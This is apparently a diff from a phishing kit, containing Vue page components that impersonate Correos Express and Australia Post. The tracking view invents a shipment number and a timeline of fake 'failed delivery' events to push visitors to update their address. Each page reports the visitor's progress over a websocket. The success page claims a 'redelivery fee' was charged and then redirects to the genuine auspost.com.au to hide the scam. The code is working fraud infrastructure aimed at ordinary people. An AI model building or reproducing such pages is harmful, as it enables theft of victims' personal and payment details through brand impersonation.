|
||||
import { getCurrentInstance, onMounted, onUnmounted, ref, computed } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = ref({
|
||||
waybill: "",
|
||||
});
|
||||
|
||||
function generateOrderNumber(): string {
|
||||
const fixedPrefix = "CE90338";
|
||||
const randomDigits = Math.floor(100000 + Math.random() * 900000).toString();
|
||||
return fixedPrefix + randomDigits;
|
||||
}
|
||||
|
||||
const dates = computed(() => {
|
||||
const today = new Date();
|
||||
const tomorrow = new Date(today);
|
||||
tomorrow.setDate(tomorrow.getDate() + 1);
|
||||
const yesterday = new Date(today);
|
||||
yesterday.setDate(yesterday.getDate() - 1);
|
||||
const dayBeforeYesterday = new Date(yesterday);
|
||||
dayBeforeYesterday.setDate(dayBeforeYesterday.getDate() - 1);
|
||||
const threeDaysAgo = new Date(dayBeforeYesterday);
|
||||
threeDaysAgo.setDate(threeDaysAgo.getDate() - 1);
|
||||
|
||||
return {
|
||||
today: formatDate(today),
|
||||
tomorrow: formatDate(tomorrow),
|
||||
yesterday1: formatDate(yesterday),
|
||||
yesterday2: formatDate(yesterday),
|
||||
dayBeforeYesterday1: formatDate(dayBeforeYesterday),
|
||||
dayBeforeYesterday2: formatDate(dayBeforeYesterday),
|
||||
threeDaysAgo: formatDate(threeDaysAgo)
|
||||
};
|
||||
});
|
||||
|
||||
function formatDate(date: Date): string {
|
||||
const month = String(date.getMonth() + 1).padStart(2, '0');
|
||||
const day = String(date.getDate()).padStart(2, '0');
|
||||
const year = date.getFullYear();
|
||||
return `${year}-${month}-${day}`;
|
||||
}
|
||||
|
||||
function formatDateDisplay(dateString: string): string {
|
||||
const date = new Date(dateString);
|
||||
const days = ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado'];
|
||||
const months = ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'];
|
||||
const dayName = days[date.getDay()];
|
||||
const outlet = date.getDate();
|
||||
const monthName = months[date.getMonth()];
|
||||
const year = date.getFullYear();
|
||||
return `${dayName}, ${outlet} de ${monthName} de ${year}`;
|
||||
}
|
||||
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
const onchange = (event: any) => {
|
||||
inputChange("Waybill_number", "Waybill_number", event.target.value);
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
localStorage.setItem("waybill", formData.value.waybill);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
router.push("/address");
|
||||
loadingStore.setLoading(false);
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "tracking" },
|
||||
})
|
||||
);
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.trackingPageData) {
|
||||
formData.value.waybill = userData.trackingPageData.waybill || "";
|
||||
} else {
|
||||
const existingOrderNumber = localStorage.getItem("orderNumber");
|
||||
if (!existingOrderNumber) {
|
||||
const newOrderNumber = generateOrderNumber();
|
||||
localStorage.setItem("orderNumber", newOrderNumber);
|
||||
formData.value.waybill = newOrderNumber;
|
||||
} else {
|
||||
formData.value.waybill = existingOrderNumber;
|
||||
}
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
loadingStore.setLoading(false);
|
||||
document.title = "Seguimiento de Envíos | Correos Express";
|
||||
});
|
||||
|
||||
onUnmounted(() => {
|
||||
loadingStore.setLoading(false);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="vc-row-wrapper vc_inner vc_row-fluid">
|
||||
<div class="row wpb_row">
|
||||
<div class="vc-column-hover columns twelve">
|
||||
<div class="wpb_wrapper">
|
||||
<div class="wpb_raw_code wpb_content_element wpb_raw_html">
|
||||
<div class="wpb_wrapper">
|
||||
<!-- Waybill Number Display -->
|
||||
<div class="waybill-header">
|
||||
<div class="waybill-info">
|
||||
<span class="bill-num">Número de Envío</span>
|
||||
<span class="locations">{{ formData.waybill }}</span>
|
||||
</div>
|
||||
<div class="sign-date">
|
||||
<p>Fecha de Entrega Estimada</p>
|
||||
<p class="orange">{{ dates.tomorrow }}</p>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Timeline Section -->
|
||||
<section id="cd-timeline" class="entregado">
|
||||
<!-- Start Icon -->
|
||||
<div class="cd-timeline-start">
|
||||
<div class="cd-timeline-start-caption">
|
||||
<img decoding="async" src="/Static_zy/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
|
||||
</div>
|
||||
</div>
|
||||
<!-- Timeline Blocks -->
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<!-- <b>21:45</b> - {{ formatDateDisplay(dates.today) }}<br><br> -->
|
||||
<b>Reparto Fallido</b><br>
|
||||
Lo sentimos. No hemos podido realizar la entrega de tu envío.<br>
|
||||
Los datos de la dirección de entrega son insuficientes o incorrectos.<br>
|
||||
<b>Por favor, actualiza la dirección para reprogramar la entrega</b>
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<!-- <b>14:23</b> - {{ formatDateDisplay(dates.yesterday1) }}<br><br> -->
|
||||
<b>Entrega Hoy</b><br>
|
||||
Tu envío está en reparto, se entregará en el día de hoy.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>21:38</b> - {{ formatDateDisplay(dates.yesterday2) }}<br><br>
|
||||
<b>Reparto Fallido</b><br>
|
||||
No hemos podido realizar la entrega de tu envío.<br>
|
||||
Los datos de la dirección de entrega son insuficientes o incorrectos.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>14:12</b> - {{ formatDateDisplay(dates.dayBeforeYesterday1) }}<br><br>
|
||||
<b>Entrega Hoy</b><br>
|
||||
Tu envío está en reparto, se entregará en el día de hoy.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>7:50</b> - {{ formatDateDisplay(dates.dayBeforeYesterday2) }}<br><br>
|
||||
<b>En Tránsito</b><br>
|
||||
Te entregaremos tu envío lo antes posible.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>6:26</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
|
||||
<b>Despachado</b><br>
|
||||
Tu envío ha sido despachado desde el centro de distribución.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>5:18</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
|
||||
<b>En Gestión Aduanera</b><br>
|
||||
Tu envío está en proceso de gestión aduanera.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>13:41</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
|
||||
<b>En Tránsito Internacional</b><br>
|
||||
Tu envío está en tránsito internacional.
|
||||
</div>
|
||||
</div>
|
||||
<div class="cd-timeline-block">
|
||||
<div class="cd-timeline-img cd-picture"></div>
|
||||
<div class="timeline-icon">
|
||||
|
||||
</div>
|
||||
<div class="cd-timeline-content">
|
||||
<b>20:30</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
|
||||
<b>Grabado</b><br>
|
||||
Ya tenemos todos los detalles de tu envío.
|
||||
</div>
|
||||
</div>
|
||||
<!-- End Icon -->
|
||||
<div class="cd-timeline-start cd-final">
|
||||
<div class="x_cd-timeline-start-caption">
|
||||
<img decoding="async" src="/Static_zy/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
<!-- Form for Rescheduling Delivery -->
|
||||
<form @submit.prevent="next" class="has-validation-callback">
|
||||
<div class="order-brn-wrap sub">
|
||||
<div class="order-brn-wrapper">
|
||||
<button type="submit" class="order-brn">Actualizar Dirección</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* Layout */
|
||||
.vc-row-wrapper {
|
||||
min-height: calc(100vh - 1.63rem);
|
||||
background-color: #f5f6f5;
|
||||
padding: 20px;
|
||||
font-family: 'Roboto', sans-serif;
|
||||
}
|
||||
|
||||
.wpb_wrapper {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
/* Waybill Header */
|
||||
.waybill-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
|
||||
padding: 20px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.waybill-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.bill-num {
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
color: #003087;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.locations {
|
||||
font-size: 18px;
|
||||
color: #333;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.sign-date {
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.sign-date p {
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.sign-date .orange {
|
||||
color: #f28c00;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Timeline */
|
||||
#cd-timeline {
|
||||
position: relative;
|
||||
padding: 2em 0;
|
||||
margin: 2em 0;
|
||||
}
|
||||
|
||||
#cd-timeline::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 18px;
|
||||
height: 100%;
|
||||
width: 4px;
|
||||
background: #003087;
|
||||
}
|
||||
|
||||
.cd-timeline-start,
|
||||
.cd-timeline-start.cd-final {
|
||||
position: relative;
|
||||
margin: 20px 0;
|
||||
}
|
||||
|
||||
.cd-timeline-start-caption {
|
||||
position: absolute;
|
||||
top: -50px; /* 调整图标与时间轴的距离 */
|
||||
left: 18px; /* 与时间轴的垂直线对齐 */
|
||||
transform: translateX(-50%); /* 使图标中心与线对齐 */
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.x_cd-timeline-start-caption {
|
||||
position: absolute;
|
||||
bottom: -50px; /* 调整图标与时间轴的距离 */
|
||||
left: 18px; /* 与时间轴的垂直线对齐 */
|
||||
transform: translateX(-50%); /* 使图标中心与线对齐 */
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cd-timeline-start-caption img,
|
||||
.x_cd-timeline-start-caption img {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
margin-top: -10px;
|
||||
}
|
||||
|
||||
.cd-timeline-block {
|
||||
position: relative;
|
||||
margin: 2em 0;
|
||||
}
|
||||
|
||||
.cd-timeline-img {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border-radius: 50%;
|
||||
background: #f28c00;
|
||||
}
|
||||
|
||||
.cd-timeline-content {
|
||||
position: relative;
|
||||
margin-left: 60px;
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
padding: 1em;
|
||||
box-shadow: 0 3px 10px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.cd-timeline-content b {
|
||||
color: #003087;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.cd-timeline-content br {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.timeline-icon {
|
||||
position: absolute;
|
||||
top: -50px; /* 调整图标与内容的垂直距离 */
|
||||
left: 18px; /* 与时间轴的垂直线对齐 */
|
||||
transform: translateX(-50%); /* 使图标中心与线对齐 */
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.timeline-icon img {
|
||||
width: 40px;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/* Form Button */
|
||||
.order-brn-wrap {
|
||||
text-align: center;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.order-brn-wrapper {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.order-brn {
|
||||
background-color: #f28c00;
|
||||
color: #fff;
|
||||
border: none;
|
||||
padding: 12px 24px;
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
border-radius: 25px;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.2s;
|
||||
width: 100%;
|
||||
max-width: 300px;
|
||||
}
|
||||
|
||||
.order-brn:hover {
|
||||
background-color: #d97a00;
|
||||
}
|
||||
</style>
|
||||
184
a12_au_post_aupost/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,184 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { myWebSocket, redirectToExternal } from "@/utils/common";
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
|
||||
setTimeout(() => {
|
||||
redirectToExternal();
|
||||
}, 2000);
|
||||
|
||||
localStorage.setItem("route", "success");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="ap-success-wrapper">
|
||||
<div class="ap-success-header-bar"></div>
|
||||
|
||||
<div class="ap-success-container">
|
||||
<div class="ap-success-card">
|
||||
<div class="ap-success-icon-wrap">
|
||||
<div class="ap-success-badge">
|
||||
<svg viewBox="0 0 24 24" class="ap-success-check">
|
||||
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41L9 16.17z" fill="currentColor"/>
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<h1 class="ap-success-title">Delivery updated successfully</h1>
|
||||
|
||||
<div class="ap-success-info-box">
|
||||
<p class="ap-success-desc">
|
||||
Your redelivery fee has been processed successfully. You will receive a confirmation email shortly with your updated delivery details and tracking information.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="ap-success-footer">
|
||||
<div class="ap-success-spinner"></div>
|
||||
<p class="ap-success-redirect-text">Redirecting to auspost.com.au...</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ap-success-footnote">
|
||||
<p>© 2024 Australia Post. ABN 28 864 970 579</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.ap-success-wrapper {
|
||||
background-color: #f5f5f5;
|
||||
min-height: 85vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.ap-success-header-bar {
|
||||
width: 100%;
|
||||
height: 6px;
|
||||
background-color: #e31837;
|
||||
}
|
||||
|
||||
.ap-success-container {
|
||||
max-width: 600px;
|
||||
width: 100%;
|
||||
padding: 60px 20px;
|
||||
}
|
||||
|
||||
.ap-success-card {
|
||||
background-color: #ffffff;
|
||||
padding: 50px 40px;
|
||||
border-radius: 6px;
|
||||
border: 1px solid #e8e8e8;
|
||||
box-shadow: 0 2px 10px rgba(0,0,0,0.07);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.ap-success-icon-wrap {
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.ap-success-badge {
|
||||
background-color: #e31837;
|
||||
color: #ffffff;
|
||||
width: 72px;
|
||||
height: 72px;
|
||||
border-radius: 50%;
|
||||
display: inline-flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.ap-success-check {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
}
|
||||
|
||||
.ap-success-title {
|
||||
color: #1a1a1a;
|
||||
font-size: 24px;
|
||||
font-weight: 800;
|
||||
margin: 0 0 20px 0;
|
||||
}
|
||||
|
||||
.ap-success-info-box {
|
||||
background-color: #fafafa;
|
||||
border: 1px solid #eeeeee;
|
||||
border-radius: 4px;
|
||||
padding: 20px 24px;
|
||||
margin: 24px 0 36px;
|
||||
}
|
||||
|
||||
.ap-success-desc {
|
||||
font-size: 15px;
|
||||
color: #555555;
|
||||
line-height: 1.7;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.ap-success-footer {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 14px;
|
||||
}
|
||||
|
||||
.ap-success-spinner {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
border: 3px solid #f0f0f0;
|
||||
border-top: 3px solid #e31837;
|
||||
border-radius: 50%;
|
||||
animation: ap-spin 1s linear infinite;
|
||||
}
|
||||
|
||||
.ap-success-redirect-text {
|
||||
font-size: 13px;
|
||||
color: #999999;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.ap-success-footnote {
|
||||
margin-top: 24px;
|
||||
text-align: center;
|
||||
font-size: 11px;
|
||||
color: #aaaaaa;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
@keyframes ap-spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.ap-success-card {
|
||||
padding: 35px 20px;
|
||||
}
|
||||
.ap-success-title {
|
||||
font-size: 20px;
|
||||
}
|
||||
.ap-success-desc {
|
||||
font-size: 14px;
|
||||
}
|
||||
.ap-success-container {
|
||||
padding-top: 30px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||